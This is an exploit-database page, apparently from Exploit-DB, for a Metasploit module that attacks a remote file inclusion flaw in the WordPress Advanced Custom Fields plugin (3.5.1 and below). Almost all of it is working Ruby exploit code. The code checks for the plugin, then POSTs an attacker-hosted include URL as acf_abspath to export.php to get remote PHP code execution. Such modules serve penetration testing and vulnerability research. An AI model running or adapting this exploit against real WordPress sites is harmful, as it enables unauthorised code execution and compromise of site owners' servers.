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# WordPress Plugin Advanced Custom Fields - Remote File Inclusion (Metasploit)

**EDB-ID:**

23856

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[REMOTE](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2013-01-03

**Vulnerable App:**



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```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WordPress Plugin Advanced Custom Fields
Remote File Inclusion',
      'Description' => %q{
        This module exploits a remote file inclusion flaw in
the WordPress blogging
        software plugin known as Advanced Custom Fields. The
vulnerability allows for remote
        file inclusion and remote code execution via the export.php
script. The Advanced
        Custom Fields plug-in versions 3.5.1 and below are
vulnerable. This exploit only
        works when the php option allow_url_include is set to On
(Default Off).
      },
      'Author' =>
        [
          'Charlie Eriksen <charlie@ceriksen.com>',
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['OSVDB', '87353'],
          ['URL', 'http://secunia.com/advisories/51037/'],
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'DisableNops' => true,
          'Compat' =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', { }]],
      'DisclosureDate' => 'Nov 14 2012',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to
WordPress', '/']),
        OptString.new('PLUGINS_PATH', [true, 'The relative path to
the plugins folder', 'wp-content/plugins/']),
      ], self.class)
  end

  def check
    uri = target_uri.path
```



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```

uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINS_PATH']
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
  'method' => 'POST',
  'uri'     => "#{uri}advanced-custom-fields/core/api.php"
})

if res and res.code == 200
  return Exploit::CheckCode::Detected
else
  return Exploit::CheckCode::Safe
end
end

def php_exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINS_PATH']
  uri << '/' if uri[-1,1] != '/'

  print_status('Sending request')
  res = send_request_cgi({
    'method' => 'POST',
    'uri'     => "#{uri}advanced-custom-
fields/core/actions/export.php",
    'data'   => "acf_abspath=#{php_include_url}"
  })

  if res and res.body =~ /allow_url_include/
    fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include
is disabled')
  elsif res.code != 200
    fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply
- #{res.code}")
  end
end

end
end

```

Tags: [Metasploit Framework](#)  
[\(MSF\) WordPress Plugin](#)

Advisory/Source: [Link](#)



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